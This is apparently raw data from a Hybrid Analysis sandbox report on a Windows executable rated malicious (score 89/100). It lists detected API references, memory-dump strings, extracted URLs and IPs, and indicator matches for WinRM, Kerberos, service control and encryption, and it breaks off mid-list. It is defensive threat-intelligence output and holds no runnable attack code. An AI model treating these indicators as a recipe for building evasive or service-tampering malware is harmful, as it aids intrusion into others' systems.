24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 76:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4cf,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win/malicious_confidence_90% Sample 27c9fc721cbb… — Score 89/100 — Hybrid Analysis","description":"Malicious verdict for sample 27c9fc721cbb…. Malware family: Win/malicious_confidence_90%. Threat score 89/100. 7/28 AV engines flagged this file. 6 malicious and 9 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1","keywords":["Malicious","Win/malicious_confidence_90%","malware analysis","sandbox report","threat intelligence","27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1"],"about":{"@type":"SoftwareApplication","name":"random.exe","applicationCategory":["peexe","executable","compressed","sfx","rar"],"identifier":"27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1","additionalType":"Malicious sample"},"threatScore":89,"malwareFamily":"Win/malicious_confidence_90%","antivirusDetections":{"malicious":7,"total":28},"behavioralIndicators":{"malicious":6,"suspicious":9},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:Tbb1,Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin") Found reference to API "WaitForMultipleObjects error %d, GetLastError %d" (Indicator: "WaitForMultipleObjects"; File: "27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin") Found reference to API "KeWaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "00000000-00004944.00000002.180064.00DC3000.00000080.mdmp") Found reference to API "ZwWaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "00000000-00004944.00000002.180064.00DC3000.00000080.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001836.00000000.170350.01203000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001836.00000000.170350.01203000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00003136.00000000.180392.00EBF000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003136.00000000.180392.00EBF000.00000002.mdmp") Found reference to API "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; Source: "00000000-00004448.00000000.168926.40017000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00004448.00000000.168926.40017000.00000002.mdmp") Found reference to API "SetTimer" (Indicator: "SetTimer"; Source: "00000000-00004448.00000000.168926.40017000.00000002.mdmp")26:Ta5f,Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00001836.00000000.170350.01203000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00001836.00000000.170350.01203000.00000002.mdmp") Found reference to API "LoadLibraryShim" (Indicator: "LoadLibrary"; Source: "00000000-00004448.00000000.168926.40017000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00004448.00000000.168926.40017000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00004448.00000000.168926.40017000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00004448.00000000.168926.40017000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00004944.00000000.177380.00550000.00000004.mdmp, 00000000-00004944.00000001.179300.00550000.00000004.mdmp, 00000000-00004944.00000002.180064.00550000.00000004.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00004944.00000000.177380.00550000.00000004.mdmp, 00000000-00004944.00000001.179300.00550000.00000004.mdmp, 00000000-00004944.00000002.180064.00550000.00000004.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00004944.00000000.177380.00550000.00000004.mdmp, 00000000-00004944.00000001.179300.00550000.00000004.mdmp, 00000000-00004944.00000002.180064.00550000.00000004.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00004944.00000000.177380.00550000.00000004.mdmp, 00000000-00004944.00000001.179300.00550000.00000004.mdmp, 00000000-00004944.00000002.180064.00550000.00000004.mdmp")27:Ta69,Found reference to API "ChangeServiceConfig2" (Indicator: "ChangeServiceConfig"; File: "00000000-00003136.00000000.180392.00EB1000.00000020.mdmp") Found reference to API "ChangeServiceConfig" (Indicator: "ChangeServiceConfig"; File: "00000000-00003136.00000000.180392.00EB1000.00000020.mdmp") Found reference to API "ChangeServiceConfig2 (delayed autostart flag)" (Indicator: "ChangeServiceConfig"; File: "00000000-00003136.00000000.180392.00EB1000.00000020.mdmp") Found reference to API "ControlServiceEx" (Indicator: "ControlService"; File: "00000000-00003136.00000000.180392.00EB1000.00000020.mdmp") Found reference to API "ControlService" (Indicator: "ControlService"; File: "00000000-00003136.00000000.180392.00EB1000.00000020.mdmp") Found reference to API "ChangeServiceConfigW" (Indicator: "ChangeServiceConfig"; File: "00000000-00003136.00000000.180392.00EB1000.00000020.mdmp") Found reference to API "ControlServiceExW" (Indicator: "ControlService"; File: "00000000-00003136.00000000.180392.00EB1000.00000020.mdmp") Found reference to API "ChangeServiceConfig2W" (Indicator: "ChangeServiceConfig"; File: "00000000-00003136.00000000.180392.00EB1000.00000020.mdmp") Found reference to API "ControlServiceEx" (Indicator: "ControlService"; Source: "00000000-00003136.00000000.180392.00EB1000.00000020.mdmp") Found reference to API "ControlService" (Indicator: "ControlService"; Source: "00000000-00003136.00000000.180392.00EB1000.00000020.mdmp") Found reference to API "ChangeServiceConfig2 (delayed autostart flag)" (Indicator: "ChangeServiceConfig"; Source: "00000000-00003136.00000000.180392.00EB1000.00000020.mdmp") Found reference to API "ChangeServiceConfig" (Indicator: "ChangeServiceConfig"; Source: "00000000-00003136.00000000.180392.00EB1000.00000020.mdmp") Found reference to API "ChangeServiceConfig2" (Indicator: "ChangeServiceConfig"; Source: "00000000-00003136.00000000.180392.00EB1000.00000020.mdmp") Found reference to API "ChangeServiceConfigW" (Indicator: "ChangeServiceConfig"; Source: "00000000-00003136.00000000.180392.00EB1000.00000020.mdmp") Found reference to API "ControlServiceExW" (Indicator: "ControlService"; Source: "00000000-00003136.00000000.180392.00EB1000.00000020.mdmp") Found reference to API "ChangeServiceConfig2W" (Indicator: "ChangeServiceConfig"; Source: "00000000-00003136.00000000.180392.00EB1000.00000020.mdmp") Found reference to API "ChangeServiceConfigA" (Indicator: "ChangeServiceConfig"; Source: "00000000-00004448.00000000.168926.40017000.00000002.mdmp") Found reference to API "ControlService" (Indicator: "ControlService"; Source: "00000000-00004448.00000000.168926.40017000.00000002.mdmp")28:T581,Found reference to API "EnumQueryServicesStatus:OpenService" (Indicator: "OpenService"; File: "00000000-00003136.00000000.180392.00EB1000.00000020.mdmp") Found reference to API "StartService: OpenService" (Indicator: "OpenService"; File: "00000000-00003136.00000000.180392.00EB1000.00000020.mdmp") Found reference to API "OpenService" (Indicator: "OpenService"; File: "00000000-00003136.00000000.180392.00EB1000.00000020.mdmp") Found reference to API "artService: OpenService" (Indicator: "OpenService"; File: "00000000-00003136.00000000.180392.00EB1000.00000020.mdmp") Found reference to API "OpenServiceW" (Indicator: "OpenService"; File: "00000000-00003136.00000000.180392.00EB1000.00000020.mdmp") Found reference to API "EnumQueryServicesStatus:OpenService" (Indicator: "OpenService"; Source: "00000000-00003136.00000000.180392.00EB1000.00000020.mdmp") Found reference to API "OpenService" (Indicator: "OpenService"; Source: "00000000-00003136.00000000.180392.00EB1000.00000020.mdmp") Found reference to API "StartService: OpenService" (Indicator: "OpenService"; Source: "00000000-00003136.00000000.180392.00EB1000.00000020.mdmp") Found reference to API "OpenServiceW" (Indicator: "OpenService"; Source: "00000000-00003136.00000000.180392.00EB1000.00000020.mdmp") Found reference to API "OpenServiceA" (Indicator: "OpenService"; Source: "00000000-00004448.00000000.168926.40017000.00000002.mdmp")29:Tf61,"" (Indicator: "enumchildwindows"; Source: "00000000-00004944.00000000.177380.00550000.00000004.mdmp, 00000000-00004944.00000001.179300.00550000.00000004.mdmp, 00000000-00004944.00000002.180064.00550000.00000004.mdmp")33:T8f0,"Windows Connect Now" (Indicator: " connect "; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp")58:T639,"1.3.0.10" "16.0.0.0" "11.0.0.0" "1.0.0.0" "192.168.0.2" Potential IPs "2.0.0.1" "2.0.0.20" "24.0.0.1" "24.0.0.22" found in string "2.0.0.1-2.0.0.20, 24.0.0.1-24.0.0.22" Potential IP "127.0.0.1" found in string "The WinRM client cannot process the request. If you do not specify an authentication mechanism or you specify Kerberos, then you cannot use "localhost" or "127.0.0.1" or "[::1]" for the remote host name." Potential IP "157.59.136.1" found in string "e.g. IPv4.Address=157.59.136.1" Potential IP "157.59.136.1" found in string "e.g. IPv4.Address=!(157.59.136.1)" Potential IPs "157.59.136.1" "157.59.136.11" found in string "e.g. IPv4.Address=(157.59.136.1,157.59.136.11)" Potential IP "157.59.136.1" found in string "e.g. IPv4.SourceAddress=157.59.136.1" Potential IP "157.59.136.1" found in string "e.g. IPv4.DestinationAddress=157.59.136.1" Potential IP "157.59.136.1" found in string "IPv4.Address=157.59.136.1'" Potential IP "157.59.136.1" found in string "e.g. 'netsh trace start capture=yes IPv4.SourceAddress=157.59.136.1'" Potential IP "157.59.136.1" found in string "This will capture IPv4 packets only from 157.59.136.1, and it" Potential IP "157.59.136.1" found in string "e.g. 'netsh trace start capture=yes IPv4.SourceAddress=157.59.136.1" Potential IPs "2.0.0.0" "3.0.0.0" found in string "providerFilter=Yes IPv4.Address=(2.0.0.0-3.0.0.0)" Potential IPs "2.0.0.0" "3.0.0.0" found in string "providerFilter=Yes IPv4.SourceAddress=(2.0.0.0,3.0.0.0)" Potential IP "2.0.0.0" found in string "providerFilter=Yes IPv4.DestinationAddress=!(2.0.0.0)"59:Tafe,Pattern match: "http://schemas.microsoft.com/smi/2005/windowssettings" Heuristic match: "w_.pw" Heuristic match: "km.ad" Heuristic match: "}k.tg" Heuristic match: "5-.cr" Heuristic match: "b<.pf" Heuristic match: "j6.sj" Pattern match: "www.nirsoft.netopenif" Heuristic match: "%windir%\syswow64\chcp.com" Heuristic match: "%windir%\syswow64\mode.com" Heuristic match: "%windir%\system32\chcp.com" Heuristic match: "%windir%\system32\mode.com" Pattern match: "http://schemas.microsoft.com/smi/2016/windowssettings" Pattern match: "http://schemas.microsoft.com/smi/2011/windowssettings" Pattern match: "http://go.microsoft.com/fwlink/?linkid=247104.&click" Pattern match: "http://go.microsoft.com/fwlink/?linkid=291337%@font-face" Pattern match: "http://go.microsoft.com/fwlink/?linkid=291257" Pattern match: "http://go.microsoft.com/fwlink/?linkid=291257.s" Pattern match: "http://www.w3.org/xml/1998/namespace..the" Pattern match: "http://www.w3.org/2000/xmlns/" Pattern match: "http://www.w3.org/xml/1998/namespace" Pattern match: "http://www.w3.org/1999/xlink.{text" Pattern match: "http://go.microsoft.com/fwlink/?linkid=247104" Pattern match: "go.microsoft.com/fwlink/?linkid=109695&result=block&t=%1&url=%2" Pattern match: "http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/config" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/config/plugin?name=xyz" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/config/plugin" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/config/service" Pattern match: "http://[1::2]:80/wsman" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/windows/shell" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd" Heuristic match: "for example, for a target computer name myserver.domain.com, the spn can be one of the following: wsman/myserver.domain.com or wsman/*.domain.com" Pattern match: "http://www.w3.org/2000/svg" Pattern match: "http://go.microsoft.com/fwlink/?linkid=624361" Pattern match: "http://go.microsoft.com/fwlink/?linkid=624359" Pattern match: "http://go.microsoft.com/fwlink/?linkid=624360" Pattern match: "http://www.w3.org/1999/xhtml" Heuristic match: "treenode.textcontent = '" - Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found URL "http://www.w3.org/xml/1998/namespace" - Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found URL "https://www.nirsoft.netopenif" - Source: "00000000-00004448.00000000.168926.40017000.00000002.mdmp") Found URL "http://nircmd.nirsoft.net/%s.htmlhttp://nircmd.nirsoft.netntdll.dllntquerysysteminformationntloaddriverntunloaddriverntopensymboliclinkobjectntquerysymboliclinkobjectntqueryobjectntsuspendprocessntresumeprocesslookupprivilegevalueaadjusttokenprivilegesseshutdownprivilegeinitiatesystemshutdownaabortsystemshutdownalockworkstationsetsystempowerstaterasdlg.dllrasdialdlgawininet.dllinternetdialanetapi32.dllnetschedulejobaddnetremotetodnetapibufferfreecreatetoolhelp32snapshotmodule32firstmodule32nextprocess32firstprocess32nextpsapi.dllgetmodulebasenameaenumprocessmodulesgetmodulefilenameexaenumprocessesgetmoduleinformation\systemrootqueryfullprocessimagenamearasapi32.dllrassetentrydialparamsarasenumconnectionsarasgetconnectstatusarashanguparasgetentrydialparamsarasdialahkey_local_machinehklmhkey_current_userhkcuhkey_classes_roothkcrhkey_usershkey_current_confighkccsyslistview32systreeview32regedit_regeditregedit.exeopenscmanageraopenserviceachangeserviceconfigacloseservicehandlequeryserviceconfigacontrolserviceenumservicesstatusastartserviceaqueryservicestatusservicesactiveshell32.dllshgetspecialfolderpathashemptyrecyclebinafavoritesrecentcookiesappdatadesktopstart" - Source: "00000000-00004448.00000000.168926.40017000.00000002.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004944.00000000.177380.00550000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20windows%20third%20party%20component%20ca%202014.crl0u0s0qehttp://www.microsoft.com/pkiops/certs/microsoft%20windows%20third%20party%20component%20ca%202014.crt0]p7spwz4'2]r" - Source: "00000000-00004944.00000000.177380.00DC2000.00000080.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0t,7die'?s" - Source: "00000000-00004944.00000000.177380.00DC2000.00000080.mdmp") Found URL "https://www.microsoft.com/en-us/windows" - Source: "00000000-00004944.00000000.177380.00DC2000.00000080.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00004944.00000000.177380.00DC2000.00000080.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0t/ygql" - Source: "00000000-00004944.00000000.177380.00DC2000.00000080.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00004944.00000000.177380.00DC2000.00000080.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004944.00000001.179300.00550000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004944.00000002.180064.00550000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20windows%20third%20party%20component%20ca%202014.crl0u0s0qehttp://www.microsoft.com/pkiops/certs/microsoft%20windows%20third%20party%20component%20ca%202014.crt0]p7spwz4'2]r" - Source: "00000000-00004944.00000002.180064.00DC3000.00000080.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0t,7die'?s" - Source: "00000000-00004944.00000002.180064.00DC3000.00000080.mdmp") Found URL "https://www.microsoft.com/en-us/windows" - Source: "00000000-00004944.00000002.180064.00DC3000.00000080.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00004944.00000002.180064.00DC3000.00000080.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0t/ygql" - Source: "00000000-00004944.00000002.180064.00DC3000.00000080.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00004944.00000002.180064.00DC3000.00000080.mdmp")5b:Tdae,file/memory contains long string with (Indicator: "winrm "; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found reference to API "The client certificate exceeded the maximum size allowed by the WinRM service.%n%n User Action %n Please use a different client certificate or a different authentication mechanism." (Indicator: "winrm "; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found reference to API "Request processing failed because the WinRM service cannot load data or event source: DLL="%1" %n%n User Action %n Please check if "%1" exists. %n%n Additional Data %n Loading %1 failed with error="%2" (%%%2)." (Indicator: "winrm "; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found reference to API "The WinRM service is unable to start because of a failure during initialization. %n%n Additional Data %n The error code is %1." (Indicator: "winrm "; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found reference to API "The WinRM service has received an unsecure HTTP connection from %1. %n%n This is not a secure configuration. %n%n User Action %n Set AllowUnencrypted to False in WinRM configuration to ensure packets are encrypted on the wire." (Indicator: "winrm "; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found reference to API "The WinRM service encountered a catastrophic security failure. The service can no longer run under its security context. %n%n User Action %n Stop and restart the WinRM service. %n%n Additional Data %n The error code is %1." (Indicator: "winrm "; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found reference to API "The WinRM service cannot migrate the listener with IP address %1, Port %2 and Transport %3. A listener that has Address=%4 and Transport=%5 configuration already exists." (Indicator: "winrm "; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found reference to API "The WinRM service cannot migrate the listener with Address %1 and Transport %2. A listener that has the same Address and Transport configuration already exists." (Indicator: "winrm "; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found reference to API "The WinRM service had a failure during migration. %n%n User Action %n Create the configuration again using the WinRM command line tool. %n%n Additional Data %n The error code is: %1 %%%1" (Indicator: "winrm "; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found reference to API "The WinRM service had a failure applying the current configuration and is stopping. %n%n User Action %n Check for previous event log messages and restart the service." (Indicator: "winrm "; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found reference to API "The WinRM service is listening for WS-Management requests. %n%n User Action %n Use the following command to see the specific IPs on which WinRM is listening: %n%n winrm enumerate winrm/config/listener" (Indicator: "winrm/config/"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found reference to API "The WinRM service is not listening for WS-Management requests. %n%n User Action %n If you did not intentionally stop the service, use the following command to see the WinRM configuration: %n%n winrm enumerate winrm/config/listener" (Indicator: "winrm/config/"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp")5c:T13bb,Found string "'Protect Kerberos Service Tickets with AES Keys' - Disabled" (Indicator: "kerberos"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "'Protect Kerberos Service Tickets with AES Keys' - Enabled" (Indicator: "kerberos"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "Kerberos" (Indicator: "kerberos"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "Kerberos Service Ticket Operations" (Indicator: "kerberos"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "Kerberos Authentication Service" (Indicator: "kerberos"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "To use Kerberos, specify the computer name as the remote destination. Also verify that the client computer and the destination computer are joined to a domain." (Indicator: "kerberos"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "Specify one of the authentication mechanisms supported by the server. If Kerberos mechanism is used," (Indicator: "kerberos"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "To use Kerberos, specify the local computer name as the remote destination. Also verify that the client computer and the destination computer are joined to a domain." (Indicator: "kerberos"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "-Kerberos is used when no authentication method and no user name are specified.%n" (Indicator: "kerberos"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "-Kerberos accepts domain user names, but not local user names.%n" (Indicator: "kerberos"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "The WSMan client cannot process the request. Proxy is not supported when the authentication mechanism with the server is Kerberos or CredSSP." (Indicator: "kerberos"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "Configure service to allow authenticating requests using Kerberos protocol." (Indicator: "kerberos"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "Modify the GP setting "Disallow Kerberos authentication" to either "Not Configured" or "Disabled"." (Indicator: "kerberos"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") file/memory contains long string with (Indicator: "kerberos"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "The WinRM client cannot process the request. The SPN Server Port can only be used when the authentication mechanism is Negotiate or Kerberos." (Indicator: "kerberos"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "To use Kerberos, specify the local computer name as the remote destination." (Indicator: "kerberos"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "The WinRM client cannot process the request. Kerberos authentication is currently disabled in the client configuration." (Indicator: "kerberos"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain," (Indicator: "kerberos"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "Kerberos authentication cannot be used when the destination is an IP address." (Indicator: "kerberos"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "The WinRM client cannot process the request. Kerberos authentication cannot be used with implicit credentials if the client computer is not joined to a domain." (Indicator: "kerberos"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "Use explicit credentials or specify a different authentication mechanism than Kerberos." (Indicator: "kerberos"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "The WinRM client cannot process the request. If you do not specify an authentication mechanism or you specify Kerberos, then you cannot use "localhost" or "127.0.0.1" or "[::1]" for the remote host name." (Indicator: "kerberos"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "You can explicitly specify a different authentication mechanism than Kerberos or specify the remote host as a DNS name or NetBIOS name." (Indicator: "kerberos"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "The WinRM service supports the following profiles: Negotiate or Kerberos over HTTP, Negotiate or Kerberos over HTTPS, and mutual certificate authentication over HTTPS using issuer thumbprints." (Indicator: "kerberos"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp")5d:Tfcb,Found string "AES128" (Indicator: "aes"; File: "00000000-00000328.00000000.177045.00FE1000.00000020.mdmp") Found string "AES128" (Indicator: "aes128"; File: "00000000-00000328.00000000.177045.00FE1000.00000020.mdmp") Found string "AES192" (Indicator: "aes"; File: "00000000-00000328.00000000.177045.00FE1000.00000020.mdmp") Found string "AES192" (Indicator: "aes192"; File: "00000000-00000328.00000000.177045.00FE1000.00000020.mdmp") Found string "7zAES" (Indicator: "aes"; File: "00000000-00000328.00000000.177045.00FE1000.00000020.mdmp") Found string "ZipFile" (Indicator: "zipfile"; File: "00000000-00004944.00000002.180064.00DC3000.00000080.mdmp") Found string "AES256CBC:3" (Indicator: "aes"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found string "AES256CBC:3" (Indicator: "aes256"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found string "AES256CBC:2" (Indicator: "aes"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found string "AES256CBC:2" (Indicator: "aes256"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found string "AES256CBC:1" (Indicator: "aes"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found string "AES256CBC:1" (Indicator: "aes256"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found string "AES192" (Indicator: "aes"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found string "AES192" (Indicator: "aes192"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found string "AES128" (Indicator: "aes"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found string "AES128" (Indicator: "aes128"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found string "7zAES" (Indicator: "aes"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found string "Twofish" (Indicator: "twofish"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found string "Blowfish" (Indicator: "blowfish"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found string "pkAES-256" (Indicator: "aes"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found string "pkAES-192" (Indicator: "aes"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found string "pkAES-128" (Indicator: "aes"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found string "3DES-112" (Indicator: "3des"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found string "3DES-112" (Indicator: "3des-112"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found string "3DES-168" (Indicator: "3des"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found string "3DES-168" (Indicator: "3des-168"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found string "WzAES" (Indicator: "aes"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found string "AES256CBC" (Indicator: "aes"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found string "AES256CBC" (Indicator: "aes256"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found string "P~AeS" (Indicator: "aes"; Source: 